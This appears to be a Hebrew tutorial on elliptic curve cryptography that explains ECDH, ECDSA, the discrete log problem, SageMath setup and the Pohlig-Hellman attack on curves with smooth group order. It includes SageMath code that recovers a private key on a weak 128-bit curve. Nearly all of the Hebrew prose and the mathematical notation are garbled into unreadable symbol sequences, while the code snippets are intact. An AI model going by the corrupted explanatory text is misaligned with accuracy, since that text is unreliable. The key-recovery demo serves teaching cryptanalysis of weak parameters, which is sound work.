˰ˢ ˸˞ ˟˷˥ˬ ˨˶ώ Ὣ άέὨ ὴ.ˣ˸ˣ˞ ˫˯˶˲ˬˣ ,˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˞˶˵ˮ˷ , 

 ˢ˰ˡˣˢ ˪˰ ˫ˣ˸˥˪ ˧ˡ˩ά  ˨˶˰ˢ ˸˞ ˟˷˥˧ ˞ˣˢ ,˸ˬ˧ˣ˯ˬᾀ ὬὥίὬά ˣˢ˷˪˩ ˨˶˰ ˪˧˶ˠ˧ˣ ,Ὧ  ˫ˣ˥˸˟

ρ Ὧ ὴ ρ˪ ˶ˤˢ ,- ὴ ρ ˨˶˰ˢ ˸˞ ˟˷˥˧ ˞ˣˢ .ὶ Ὣ άέὨ ὴ ˨˶˰ˢ ˸˞ˣ ,ί

Ὧ ᾀ Ὠὶ άέὨ ὴ ρ . ˢ˰ˡˣˢˢ ˪˰ ˢˬ˧˸˥ˢά  ˫˧˩˶˰ˢ ˠˣˤ ˸ˣ˧ˢ˪ ˸˶ˡˠˣˬὶ x-ί .ˣ˟˷ˣ˥˷ 
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 ˢ˰ˡˣˢ ˪˟˧˵˷ ˡ˴ά  ˠˣˤˬ ˸˟˩˶ˣˬ˷ ˢ˪˷ ˢˬ˧˸˥ˣ ,˸ˬ˧ˣ˯ˬ ˫˧˩˶˰ˢὶ x-ί ˧˶ˣ˟˧˴ˢ ˥˸˲ˬ˟ ˷ˬ˸˷ˬ ,ώ 

 ˫˧˩˶˰ˢ ˟ˣ˷˧˥ ˧ˡ˧ ˪˰ ˢˬ˧˸˥ˢ ˸˞ ˸ˬ˞˪ ˧ˡ˩ό ὶώ x- ό Ὣ˫˞ ˸˧˵ˣ˥ ˟˷˥˧˸ ˢˬ˧˸˥ˢ . 

ό ό ˸˶ˡˠˢ ˧˲˪ ˧˩ ˸˞ˤ .ί  ˫˧˧˵˸ˬί Ὧ ᾀ Ὠὶ ˭˩˪ˣ ,Ὧί ᾀ Ὠὶ ˭˞˩ˬˣ ,ᾀ ὯίὨὶ:ˤ˞ . 

ό Ὣ Ὣ Ὣ Ὣ Ὣ Ὣ ὶώ ό 

˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˶ˣ˟˰ ˸˧˵ˣ˥ ˢˬ˧˸˥ ˶ˣ˴˧˪ ˪ˣ˩˧ ˞˪ ˱˵ˣ˸ ώ  ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˰˧ˡ˧ ˞˪˪Ὠ ˸˞ ˠ˧˷ˢ˪ ˧ˡ˩ .

 ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪ ˨˶˦˴˧ ˱˵ˣ˸ˢ ,˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˭˸ˮ˧ˢ˟ ˧˦˶˲ˢ ˥˸˲ˬˢDLP.ˢ˷˵ ˢ˧˰˟ ˣˤˣ , 

 ˭˧˟ ˶ˣ˶˟ ˭ˣ˧ˬ˧ˡ ˷˧ ˭˞˩ ˫ˠECDSA ˪˰ ˯˯˟˸ˬ˷ ,ECDLP˪ ,-ElGamal ˪˰ ˯˯˟˸ˬ˷ ,DLP ˫˧˶˵ˬˢ ˧ˮ˷˟ .

ˣ ,˧˶ˣ˟˧˴ ˥˸˲ˬ ˷˞˶ˬ ˫ˢ˧ˮ˧˟ ˫˞˸˪ ˫˧˩˧˶˴ ˫˧ˡˡ˴ˢ ˨˶˰ ˪˧˶ˠˢ˪ ˷˶ˡˮὯ  ˫˰˲ ˪˩˟ ˸˧˞˶˵˞ ˢ˶ˣ˴˟

 ˪ˣ˩˧ ˞˪ ˫˧ˡˡ˴ˢ ˭˧˟ ˸ˣ˰ˡˣˢ˪ ˭˧ˤ˞ˬ˷ ˱˵ˣ˸ ˫˧˶˵ˬˢ ˧ˮ˷˟ ,˭˩ ˣˬ˩ .ˢ˷ˡ˥ ˢ˰ˡˣˢ ˪˰ ˫ˣ˸˥˪ ˫˧˴ˣ˶˷

.ˣˬ˴˰˟ ˸ˣˬ˧˸˥ ˱˧˧ˤ˪ ˣ˪ ˶˷˲˞˧˷ ˧˷ˣˬ˧˷ ˰ˡ˧ˬ ˵˧˯ˢ˪ 

 

 

 ˸ˣ˩˶˰ˬ ˸˲˧˵˸ECC 

˴˪ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣ˩˶˰ˬ˟ ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞ ˨˧˞ ˣˮ˧˞˶ ˧ˡˣ˯ ˨˶˰ ˪˰ ˢˬ˩˯ˢ ˨˶ˣ

 ˫˧ˡ˟ˣ˰ ˡ˧ˬ˸ ˞˪ ˫˧˶˟ˡ ,˪˰ˣ˲˟ ˣˢ˷ˬ ˷ˬˬ˪ ˫˧˞˟˷˩ ,˫˧˧˥˟ ˶˟ˡ ˪˩ ˣˬ˩ .˸ˣ˰ˡˣˢ ˪˰ ˢˬ˧˸˥ ˨˶ˣ˴˪ˣ

 ˸ˣ˯˯ˣ˟ˬ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣ˩˶˰ˬ ˱ˣ˵˸˪ ˸ˣˮˣ˷ ˫˧˩˶ˡ ˠ˧˴˞ ˧ˮ˞ ˶ˬ˞ˬˢ ˶˞˷˟ .˭ˮ˩ˣ˸ˬ˩ECC  ˭ˢ˟ ˢ˷˰ˮ˷

˧˸ˣ˥˧˦˟ ˞˪ ˢ˶ˣ˴˟ ˣ˷ˬˣˬ ˭ˢ˷ ˣ˞ ,˷ˬ˸˷ˬˢ ˧ˡ˧ ˪˰ ˭ˣ˩ˮ ˞˪ ˷ˣˬ˧˷.˸ 

 ˪˰ ˸ˣ˲˵˸ˬ˪ ˢˤˢ ˵˪˥ˢ ˸˞ ˧˸˵˪˧˥ ,˧˰˟˦ ˭˲ˣ˞˟ECDH  ˪˰ ˸ˣ˲˵˸ˬ˪ˣECDSA ˡ˧ˠˮ ˫˧˶˵ˬˢ ˧ˮ˷˟ .

 ˪˷ ˢ˶˵ˬ˟ .˶ˣ˴˰ˮ ˫˷ˣ ,˫˧ˡˡ˴ˢ ˡ˥˞ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞˴ˬˮ ˫˞ ˢ˲˵˸ˬ˟ "ˣˮ˥˪˴ˢ"˷ECDH  ˢˤ

 .˨˷ˬˢ˟ ˣ˸˶ˤ˰˟ ˭˲˴ˣˢ˷ ˰ˡ˧ˬˢ ˪˩˪ˣ ˱˸ˣ˷ˬˢ ˧ˡˣ˯ˢ ˨˶˰˪ ˰˧ˠˢ˪ ˶˷˲˞ ˧˦˶˲ˢ ˥˸˲ˬˢˬ ˧˩ ˵˧˲˯ˬ

˶˵ˬ˟ ˪˷ ˢECDSA .ˣˮˮˣ˴˶˩ ˸ˣ˰ˡˣˢ ˪˰ ˫ˣ˸˥˪ ˶˷˲˞ ˧˦˶˲ˢ ˥˸˲ˬˢˬ ˧˩ ˵˧˲˯ˬ ˢˤ 

SageMath 

SageMath ˡˣ˵ ˸˯˯ˣ˟ˬˣ ˸˧ˬˮ˧˥ ˸˧˦ˬ˸ˬ ˢˮ˩ˣ˸ ˞˧ˢ-˪ ˢˢˤ ˦˰ˬ˩ ˯˵˦ˮ˧˯˟ ˢ˟ ˟ˣ˸˩˪ ˭˸˧ˮ .˥ˣ˸˲-

Python˟ ˢ˧˶˲˯˩ ˢ˟ ˷ˬ˸˷ˢ˪ ˫ˠ ˭˸˧ˮˣ ,-Python ˸ˣ˧˦ˮˣˣ˪˶˷ ˸ˣ˧˴˵ˮˣ˲ ˣˮ˪˧˟˷˟ ˸˷ˬˬˬ ˣˤˢ ˢ˧˶˲˯ˢ .

 ˸ˣˬˣ˵˰˪ ˪˷ ˶˷˵ˢ˟ ˸ˣ˷˰˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˫˧˟ˣ˷˧˥ˢ ˨˶ˣ˴˪ ˡˣ˞ˬ ˸˧˷ˣˬ˧˷ ˞˧ˢ ˭˩˪ˣ ˸ˣ˧˦˲˧˪˞ECC .

 ˪˰ ˢ˸ˣ˞ ˭˧˵˸ˢ˪ ˦ˣ˷˲ ˧˩ˢ˷ ˧˸˞˴ˬ ˧ˮ˞ .ˣˤˢ ˢ˧˶˲˯˟ ˫˧˟ˣ˸˩˷ ˡˣ˵ ˧˰˦˵ ˵˲˯ˬ ˧ˮ˞ ˢˤ ˶ˬ˞ˬ ˸˶ˠ˯ˬ˟

 ˢ˪˰˲ˢ ˸˩˶˰ˬUbuntu ˞˯˶ˠ˟ ˸˧˲˧˴˲˯ ,22.04:ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˢ˪ ˷˧ ,ˢ˸ˣ˞ ˭˧˵˸ˢ˪ ˧ˡ˩ . 

sudo apt i nstall sagemath  

 ˸ˬˣ˧˯ ˫˰ ˳˟ˣ˵ˢ ˸˞ ˶ˣˬ˷˪ ˷˧ ,ˡˣ˵ ˪˧˩ˬ˷ ˳˟ˣ˵ ˳˧˶ˢ˪ ˧ˡ˩.sage ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˢ˪ˣ: 

sage file.sage  
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˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˱˯ˣˮ˟-Interpreter ˪ ˢˬˣˡ ˭˲ˣ˞˟ ,˸˧ˬˮ˧ˡ ˢ˶ˣ˴˟-Interpreter  ˪˷Python ˧ˡ˧ ˪˰ ,

ˢˡˣ˵˲ˢ ˸˴˶ˢ: 

sage 

 ˧˴˟˵ ˶ˣ˴˧˪ ˫ˠ ˭˸˧ˮ.py  ˫ˢ˟ ˫˧˰˴˟ˬ˷import  ˢ˧˶˲˯˪sage.allˢˡˣ˵˲ˢ ˫˰ ˫˸ˣ˞ ˳˧˶ˢ˪ˣ ,: 

python3 file.py  

ˢˡˣ˵˲ˢ ˫˰ ˳˟ˣ˵ ˫˧˴˧˶ˬ˷˩˷ ˟˪ ˫˧˷˪ ˷˧: 

sage 

˫˰ ˣ˸ˣ˞ ˫˧˴˧˶ˬ˷˩˷ ˡˣ˰˟ ,ˢ˵ˤ˥ ˭ˬ˯ˬ ^ ˭ˣˬ˧˯ˢ: 

python3  

˩ ˷˶˲˸ˬ ˢˤˢ ˭ˣˬ˧˯ˢ-xor. 

˟ ˸ˣ˞˟ˢ ˸ˣ˧˴˵ˮˣ˲˟ ˶˵˧˰˟ ˷ˬ˸˷ˬ ˧ˮ˞ ˢˤ ˶ˬ˞ˬ˟-SageMath: 

¶ E.gens() - ˟ ˫˧˶ˣ˦˶ˮˠ ˸˞˧˴ˬ ˢˬˣ˵˰E 

¶ G.order() -  ˶ˣ˦˶ˮˠˢ ˪˷ ˶ˡ˯ˢ ˟ˣ˷˧˥G 

¶ n*G -  ˶ˣ˦˶ˮˠˢ ˸˪˲˩ˢG  ˶˲˯ˬ˟n 

¶ n.factor() -  ˶˲˯ˬˢ ˸˞ ˵˶˲ˬn  ˣ˪˷ ˫˧˧ˮˣ˷˞˶ˢ ˫˧ˬ˶ˣˠ˪-  ˸ˣˠˣˤ ˪˷ ˢˬ˧˷˶ ˢ˶˧ˤ˥ˬ ˢ˧˴˵ˮˣ˲ˢ

ὴȟὩ ˷ ˨˩-ὴ ˣ ,˧ˮˣ˷˞˶ ˫˶ˣˠ ˞ˣˢ-Ὡ ˷ ˫˧ˬ˰˲ˢ ˸ˣˬ˩ ˶ˬˣ˪˩ ,ˣ˪˷ ˦ˮˮˣ˲˯˵˞ˢ ˞ˣˢ-ὴ  ˵ˣ˶˧˲˟ ˰˧˲ˣˬ

 ˪˷n 

¶ crt - ˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ ˦˲˷ˬ ˪˷ ˸ˣ˞ˣˣ˷ˬ ˸˩˶˰ˬ ˭ˣ˶˸˲ 
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 ˪˰ ˸ˣ˰ˣˡ˧ ˸ˣ˲˵˸ˬECDH 

˧ˡˬ ˭˦˵ ˯ˣ˪ˣˡˣˬ ˸˶˧˥˟ 

˪ ˧ˣˠ˷ˢ ˷ˣˬ˧˷ˢ ˧˪ˣ˞-ECDH  ˶ˡ˯ˬ ˶ˣ˦˶ˮˠ ˪˷ ˢ˶˧˥˟ ˞ˣˢ ˱ˣ˵˸˪ ˪˵ ˧˩ˢ ˣ˸ˣ˞˷ὲ  ˭˸˧ˮ ,˶ˣˬ˞˩ .˧ˡˬ ˭˦˵

 ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪ECDLP  ˪˷ ˸ˣ˧˩ˣ˟˧˯˟ὕЍὲ˷˩ .-ὲ ˟ ˪˷ˬ˪ ,˧ˡˬ ˭˦˵ ˨˶ˣ˞он  ˧˷˰ˬ ˢ˧ˢˮ ˢˤ ˤ˞ ,˦˧˟

)Feasible ˫ˢ˧ˮ˧˟ ,ˢ˧˰˟ˢ ˸˞ ˫˧˶˸ˣ˲˷ ˫˧ˬ˸˧˶ˣˠ˪˞ ˶˲˯ˬ ˷˧ .˸˞ˤˢ ˢ˧˰˟ˢ ˸˞ ˶ˣ˸˲˪ (Baby-Step 

Giant-Step ,tƻƭƭŀǊŘΩǎ wƘƻˣ ,-tƻƭƭŀǊŘΩǎ [ŀƳōŘŀ ˢ˶ˣ˥˷ ˞˯˲ˣ˵˩ ˢ˪˞ˢ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ ˸˞ ˳˧˶ˢ˪ ˭˸˧ˮ .

 ˸˶ˤ˰˟SageMath ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ,discrete_log: 

import random 
p = random_prime( 2^32)  
a = random.randrange(p)  
b = random.randrange(p)  
E = EllipticCurve(GF(p), [a,b])  
G = E.gens()[ 0]  
n = G.order()  
 
private_key = random.randrange(n)  
A = private_key * G 
 
found_key = G.discrete_log(A)  
assert found_key * G == A 
assert private_key == found_key  
print ( "success!" )  

˷ ˢ˪˟ˠˬˢ ˸˥˸ ˸˧˞˶˵˞ ˢ˶ˣ˴˟ ˢˬˣ˵˰˪ ˫˧˶˦ˬ˶˲ ˫˧˶˥ˣ˟ ˣˮ˥ˮ˞ ˢˤ ˡˣ˵ ˰˦˵˟-ὴ  ˨˶ˣ˞˟он  .˦˧˟

 ˞˧ˢ ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮˢ ˸ˣˬ˩˷ ˣˮ˪ ˢ˥˧˦˟ˬ ˣˤ ˢ˪˟ˠˬὕς  ˪˩˪ ˞ˣˢ ˢ˟ ˢˡˣ˵ˮ ˪˩ ˪˷ ˶ˡ˯ˢ ˭˩˪ˣ

 ˶˸ˣ˧ˢὕς ˧˪˧˶ˠˬ ,ˢ˟ ˣˢ˷˪˩ ˶ˣ˦˶ˮˠ ˫˧˶˥ˣ˟ ,ˢˬˣ˵˰ˢ ˸˞ ˫˧˶˴ˣ˧ ˭˩ˬ ˶˥˞˪ .˭˩ ˫ˠ ˧˦˶˲ ˥˸˲ˬ ˫

 ˸˞ ˫˧˟˷˥ˬ ,˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢˣ ˶ˣ˦˶ˮˠˢ ˨ˣ˸ˬ ,˱ˣ˯˟˪ .˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˫˧˟˷˥ˬˣ ,˸˧˞˶˵˞ ˢ˶ˣ˴˟

 ˢˤ ˡˣ˵˪ .˭ˣ˩ˮ ˭˩˞ ˞ˣˢ ˞˴ˬˮ˷ ˥˸˲ˬˢ˷ ˫˧˞ˡˣˣˬˣ ,˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ ˧˦˶˵˯˧ˡˢ ˫˸˧˶ˠˣ˪ˢ

.˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˣ˧ˮ˷ ˶˲˯ˬ ˶˸ˣ˧ˢ ˪˩˪ ˥˵ˣ˪ 

 

 ˶˲˯ˬ ˞ˣˢ ˶ˣ˦˶ˮˠˢ ˶ˡ˯) ˵˪˥Smooth( 

 ˫˰ ˶ˣ˦˶ˮˠˢ ˸ˡˣ˵ˮ ˸˞ ˫˧˶˟˥ˬ˷˩ ˶˴ˣˮ˷ "˪ˠ˰ˬ"˟ ˸ˣˡˣ˵ˮˢ ˶˲˯ˬ ˸ˣ˧ˢ˪ ˶ˡˠˣˬ ˶ˣ˦˶ˮˠ ˪˷ ˶ˡ˯ ,˶ˣ˩ˤ˩

˟ ˣ˸ˣ˞ ˭ˬ˯˪ ˠˣˢˮˣ ,˟ˣ˷ˣ ˟ˣ˷ ˢˬ˴˰-ὲ ˫˞ .ὲ  ˭˸˧ˮ ˤ˞ ,˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ ˢ˟˶ˢ˪ ˵˶˲˪ ˭˸˧ˮ˷ ˶˲˯ˬ ˞ˣˢ

 ˸˞ ˶ˣ˸˲˪ECDLP ) ˵˪˥ ˶˲˯ˬ ˞˶˵ˮ ˢˤ˩ ˶˲˯ˬ .˸ˣ˪˧˰˧˟Smooth Number ˶˲˯ˬ ˣˢˤ ˭˧˧ˮ˰ˢ ˨˶ˣ˴˪ˣ ,(

 ˢ˶ˡˠˢˢ .ˡˣ˟˰˸ ˣˮ˪˷ ˢ˲˵˸ˬˢ˷ ˧ˡ˩ ˵˧˲˯ˬ ˭˦˵ ˫ˢˬ ˡ˥˞ ˪˩˷ ˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ ˵˧˲˯ˬ˪ ˵˶˲˸ˬ˷

.ˣˮ˪˧˟˷˟ ˸˧˦ˮˣˣ˪˶ ˞˪ˣ ˢˮˣ˷ ˸˴˵ ˞˧ˢ ˵˪˥ ˶˲˯ˬ˪ ˸˧ˬ˷˶ˢ 
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 ˢˡˣ˵ˮ ˭˸ˮ˧ˢ˟ .ˡ˶˲ˮ˟ ˫˧˧ˮˣ˷˞˶ˢ ˫˧ˬ˶ˣˠˢˬ ˡ˥˞ ˪˩ ˪˷ "ˢ˲˧˵˸" ˧ˡ˧ ˪˰ ˸˞ˤ ˫˧˷ˣ˰ ,˸˧˟˧˦˧˞ˣ˦ˮ˧˞Ὃ 

ˣ˧˷ ˧ˢ˷˪˩ ˢˡˣ˵ˮˣ ,ˡˣ˞ˬ ˪ˣˡˠ "˪ˠ˰ˬ" ˸˶˴ὖ  ˷ ˨˩ "˪ˠ˰ˬ"˟ὖ ὯὋ ˪ˣˡˠˢ "˪ˠ˰ˬ"ˢ ˸˞ ˵˶˲˪ ˭˸˧ˮ .

 ˪˷ ˡ˥˞ ˧ˮˣ˷˞˶ ˫˶ˣˠ ˪˷ ˪ˡˣˠ˟ ˡ˥˞ ˪˩˷ ,˫˧ˮ˦˵ "˫˧˪ˠ˰ˬ" ˢˬ˩˪ὲ˪ ˫˧˞˸ˢ˪ ˭˸˧ˮ ˭˦˵ "˪ˠ˰ˬ" ˪˩˟ .-

 Ὃ x-ὖ  ˸ˣˡˣ˵ˮὋ x-ὖᴂ  ˸ˣˬ˧˧˵ˬˣ ˭˦˵ˢ "˪ˠ˰ˬ"˟ ˸ˣ˞˴ˬˮ˷ὖ ὯᴂὋᴂ ˪˪ˠ˟ . ˸ˣ˪˵˟ ˭˸˧ˮ ,˭˦˵ "˪ˠ˰ˬ"ˢ˷

 ˸˞ ˞ˣ˴ˬ˪ˣ ˢ˧˰˟ˢ ˸˞ ˶ˣ˸˲˪ ˸˧˯˥˧Ὧˢ ˪˩ ˸˞ ˡ˥˞˪ ˶˷˲˞ ,˱ˣ˯˟˪ .-Ὧᴂ- ˧ˡ˩˪ ˣˮ˞˴ˬ˷ ˫˧ˮ˦˵ˢ ˫˧Ὧ 

.˧˶ˣ˵ˬˢ "˪ˠ˰ˬ"˟ ˷˵ˣ˟ˬˢ 

 ˞˶˵ˮ ˧˸˶˞˧˸˷ ˢˬ ˸˞ ˰˴˟ˬ˷ ˫˸˧˶ˣˠ˪˞ˢPohlig-Hellman Algorithm ˞˧ˢ ˣ˪˷ ˢ˴˧˶ˢ ˭ˬˤ ˸ˣ˧˩ˣ˟˧˯ .

ὕ ὴ ˷˩-ὴ  ˪˷ ˵ˣ˶˧˲˟ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˧ˮˣ˷˞˶ˢ ˫˶ˣˠˢ ˞ˣˢὲ "ˡ˟˩" ˧˩ˢ ˵˪˥ˢ ˧˩ ,˧ˮˣ˧ˠˢ ˫ˠ ˢˤ .

 ˸˧˧˰˟ ˭ˣ˶˸˲ ˞ˣˢ ˫˸˧˶ˣˠ˪˞˟ECDLP  ˪ˣ˩˧ ,˞ˬˠˣˡˢ ˫˷˪ .˫˧ˮ˦˵ˢ "˫˧˪ˠ˰ˬ"ˢ ˭˧˟ˬ ˶˸ˣ˧˟ ˪ˣˡˠˢ "˪ˠ˰ˬ"˟

˷ ˸ˣ˧ˢ˪-ὲ  ˨˶ˣ˞˟ ˶˲˯ˬ ˞ˣˢмну ˪˩˟ ˞ˣˢ ˫ˢ˟ ˪ˣˡˠˢ˷ ˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ˪ ˵˶˲˸ˬ ˞ˣˢˣ ,˦˧˟ ˨˶ˣ˞˟ ˪

ол  ˪˷ ˪ˡˣˠ ˶ˡ˯ˬ ˢ˧˰˟ˢ ˭ˣ˶˸˲ ˸ˣ˧˩ˣ˟˧˯ ˸˞ ˭˧˦˵ˬ ˫˸˧˶ˣˠ˪˞ˢ .˦˧˟ς  ˪˷ ˪ˡˣˠ ˶ˡ˯˪ ˸ˣ˪ˣ˰˲ς 

˞˪ˬ ˢ˧˰˟ˢ ˭ˣ˶˸˲ ˸˞ ˨˲ˣˢ ˶ˬˣ˪˩ ,˸ˣ˪ˣ˰˲-) ˧˷˰ˬ˪ ˧˷˰ˬFeasible.( 

 ˢ˧˴˵ˮˣ˲ˢ ˣˮ˪ˤˬ˪discrete_log  ˪˷SageMath  ˧ˡ˩ ˭˩˪ˣ ,ˢ˪˷ ˷ˣˬ˧ˬ˟ ˢˤˢ ˫˸˧˶ˣˠ˪˞ˢ ˸˞ ˸˰˴˟ˬ

˞ ˳˧˶ˢ˪:ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˦ˣ˷˲ ˭˸˧ˮ ˢ˲˵˸ˬˢ ˸ 

p = 183740305291166889900894879302858411333 
a = 13 
b = 37 
E = EllipticCurve(GF(p), [a,b])  
G = E(123764810000715262449972298016641419881, 
144640915410606177233842123838934486566)  
n = G.order()  
print ( "number of bits in n:" ,  n.nbits())  
print ( "n's factors:" , n.factor())  
print ( "number of bits in n's greatest factor:" , n.factor()[ - 1][ 0].nbits())  
 
import random 
private_key = random.randrange(n)  
A = private_key * G 
print ( "Calculating discrete_log..." )  
found_key = G.discrete_log(A)  
assert found_key * G == A 
assert private_key == found_key  
print ( "success!" )  
 

 

 ˢˬ .˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ˪ ˣ˪˷ ˵ˣ˶˧˲ˢ ˸˞ ˫˧˯˧˲ˡˬˣ ,ˢ˟ ˶ˣ˦˶ˮˠˣ ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˫˧˶˧ˡˠˬ ˢˤ ˡˣ˵ ˰˦˵˟

:˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ 

number of bits in n: 128 
n's factors: 2 * 3 * 13 * 101 * 211 * 21141581 * 38581057 * 60652309 * 
2234328781 
number of bits in n's greatest factor:  32 
Calculating discrete_log...  
success!  
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 ˨˶ˣ˞˟ ˞ˣˢ ˶ˣ˦˶ˮˠˢ ˪˷ ˶ˡ˯ˢ ˫ˮˬ˞˷ ˸ˣ˞˶˪ ˭˸˧ˮмну  ˨˩ ˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ˪ ˵˶˲˸ˬ ˞ˣˢ ˨˞ ,˦˧˟

 ˨˶ˣ˞˟ ˞ˣˢ ˣ˪˷ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˧ˮˣ˷˞˶ˢ ˫˶ˣˠˢ˷он .˦˧˟ 

 ˸ˬˡˣ˵ˢ ˢ˲˵˸ˬ˟ ˣˬ˩ ˵ˣ˧ˡ˟ ˭˩ˬ ˶˥˞˪- ˣ ,˧˶ˣ˟˧˴ ˥˸˲ˬ ˣˮˬˬ ˫˧˟˷˥ˬ ,˧˞˶˵˞ ˧˦˶˲ ˥˸˲ˬ ˫˧˶˥ˣ˟ ˤ˞

.˭ˣ˩ˮ ˞ˣˢ˷ ˫˧˞ˡˣˣˬˣ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˢ˶ˤ˥˟ ˫˧˟˷˥ˬ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢˣ ˶ˣ˦˶ˮˠˢ ˭˸ˮ˧ˢ˟ 

˪ ˫˧ˬ˧˞˸ˬ ˨˧˞ ,˫˧˶ˡˠˣˬ "˫˧ˮ˦˵"ˢ ˫˧˪ˠ˰ˬˢ ˨˧˞ ˣˮ˧˞˶ ˞˪ ˨˞ ,ˣˮˬ˧˧˯ ˫ˮˬ˞-Ὃ x- ὖ  ˸ˣˡˣ˵ˮὋ x-ὖᴂ ˨˧˞ˣ ,

˧˞ ˢ˶ˣ˴˟ ˭˞˩ ˸˞ˤ ˶˧˟˯ˢ˪ ˢ˯ˮ˞ ˧ˮ˞ .˪ˣˡˠ ˭ˣ˶˸˲˪ ˫˧ˮ˦˵ˢ ˸ˣˮˣ˶˸˲ˢ ˸˞ ˫˧˟˪˷ˬ ˧˩ ,˸˧˟˧˦˧˞ˣ˦ˮ

.ˢ˞˟ˢ ˢ˲˵˸ˬ˟ ˫ˠ ˨˩ ˪˰ ˫˧˯˯˟˸ˬ 

 ˶ˡ˯ˬ "˪ˠ˰ˬ" ˣˮ˪ ˷˧˷ ˥˧ˮˮσὼυὼχ ρπυ ˞ˣˢ ˣ˪˷ ˶ˣ˦˶ˮˠˢˣ ,Ὃ ˢˡˣ˵ˮ ˶˧ˡˠˮ .Ὃ υὼχὋ συὋ ,

ˬ ˫ˡ˵˸ˮ ˫˞ .ˢˮˬˬ ˶˴ˣˮ˷ "˪ˠ˰ˬ"ˢ ˪˰ ˪˩˸˯ˮˣ-Ὃ  ˸˞ ˶˟˥ˮ ˶ˬˣ˪˩ ,ˡ˥˞ "ˡ˰˴"Ὃ  ˢ˧ˢ˧ ˢˤ ,ˢˬ˴˰˪

 ˫ˡ˵˸ˢ˪˪ ˪ˣ˵˷ор ˬ ˫˧ˡ˰˴ ˢˡˣ˵ˮˢσυὋ  ˢˡˣ˵ˮ˪ ˰˧ˠˮˣ ,˧˶ˣ˵ˬˢ "˪ˠ˰ˬ"˟ςὋ χπὋ ˫ˡ˵˸ˮ ˫˞ .

 ˢˡˣ˵ˮ˪ ˰˧ˠˮ ,"ˡ˰˴" ˡˣ˰ ˣˤ ˢˡˣ˵ˮˬσὋ ρπυὋ , ˢˡˣ˵ˮ˪ ˰˧ˠˮ ,"ˡ˰˴" ˡˣ˰ ˢˮˬˬ ˫ˡ˵˸ˮ ˫˞ˣ ײַ

τὋ συὋ Ὃᴂˬ ˶˴ˣˮ˷ "˪ˠ˰ˬ"ˢ .ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮ˪ ˢ˶ˤ˥˟ ˶ˬˣ˪˩ ,-'ᴂ  ˶ˡ˯ˬ ˞ˣˢо ,ˢ˶˵ˬ˟ ˞˪ ˢˤˣ ,

 "˪ˠ˰ˬ" ˪˰ ˧˩ ˶ˡ˯ˬмлр  ˵ˣ˧ˡ˟ ˸ˣ˷˰˪ ˶˷˲˞о  ˪ˡˣˠ˟ "˫˧ˡ˰˴"ор ˶ˡ˯ˬ "˪ˠ˰ˬ" ˶ˣ˴˧˪ ˭˸˧ˮ ˢˬˣˡ ˭˲ˣ˞˟ .

р  ˢˡˣ˵ˮˢ ˸˶ˡˠˢ ˧ˡ˧ ˪˰Ὃ σὼχὋ ςρὋ ˶ˡ˯ˬ ˪ˠ˰ˬˣ ,т  ˸˶ˡˠˢ ˧ˡ˧ ˪˰Ὃ σὼυὋ ρυὋ. 

 ˣˮ˥˵˪ ˧˶ˣ˵ˬˢ "˪ˠ˰ˬ"˟˷ ˥˧ˮˮ .˶˸ˣ˧ ˭˧˧ˮ˰ˬ ˢ˧ˢˮ ˢˤ ˨ˣ˲ˢˢ ˭ˣˣ˧˩˟ ˢˤ ˪˰ ˫˧˪˩˸˯ˬ˷˩ὲ ˧ˡ˰˴ ˢˡˣ˵ˮˢˬ ˫

Ὃ  ˢˡˣ˵ˮ˪ ˣˮ˰ˠˢˣὲὋ ˥˵˧ˮ ˭˦˵ˢ "˪ˠ˰ˬ"˟ ˫ˠ ˫˞ .ὲ  ˢˡˣ˵ˮˢˬ ˫˧ˡ˰˴Ὃ ˢˡˣ˵ˮ˪ ˰˧ˠˮ ,ὲᴂὋᴂ ˷ ˨˩ 

ὲḳὲᴂ άέὨ σ ˪˷ ˶ˡ˯ˢ ˧˩ ?˭˧˧ˮ˰ˬ ˢˤ ˢˬ˪ˣ .Ὃ  ˪˷ ˶ˡ˯ˢˬ ˭˦˵ ˶˸ˣ˧ ˢ˟˶ˢ ˞ˣˢὋ  ˭˸ˮ˧ˢ˟ ˭˩˪ˣὋ x-

